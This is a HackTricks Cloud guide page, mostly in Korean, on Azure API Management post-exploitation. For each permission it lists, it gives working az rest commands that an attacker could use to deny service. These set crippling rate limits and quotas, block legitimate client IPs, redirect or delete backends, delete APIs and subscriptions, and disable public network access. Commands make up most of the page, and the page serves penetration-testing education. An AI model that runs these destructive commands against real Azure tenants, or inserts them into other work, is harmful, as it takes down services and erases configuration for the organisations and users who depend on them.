hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md

Azure - API Management Post-Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Microsoft.ApiManagement/service/apis/policies/write or Microsoft.ApiManagement/service/policies/write

공격자는 여러 벡터를 이용해 denial of service를 일으킬 수 있다. 정상 트래픽을 차단하기 위해 공격자는 매우 낮은 값의 rate-limiting 및 quota 정책을 추가하여 정상적인 접근을 사실상 차단한다:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'

특정 정상적인 클라이언트 IP를 차단하려면, 공격자는 선택한 주소의 요청을 거부하는 IP 필터링 정책을 추가할 수 있습니다:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'

Microsoft.ApiManagement/service/backends/write 또는 Microsoft.ApiManagement/service/backends/delete

요청을 실패하게 만들기 위해 공격자는 backend 구성을 수정하여 URL을 잘못된 또는 도달할 수 없는 주소로 변경할 수 있습니다:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'

또는 백엔드를 삭제:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"

Microsoft.ApiManagement/service/apis/delete

중요한 API를 사용할 수 없게 만들기 위해, 공격자는 API Management service에서 이를 직접 삭제할 수 있습니다:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"

Microsoft.ApiManagement/service/write or Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

인터넷에서의 접근을 차단하려면, 공격자는 API Management service에 대한 public network access를 비활성화할 수 있습니다:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'

Microsoft.ApiManagement/service/subscriptions/delete

정상 사용자 접근을 차단하려 공격자는 API Management 구독을 삭제할 수 있다:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"

{{#include ../../../banners/hacktricks-training.md}}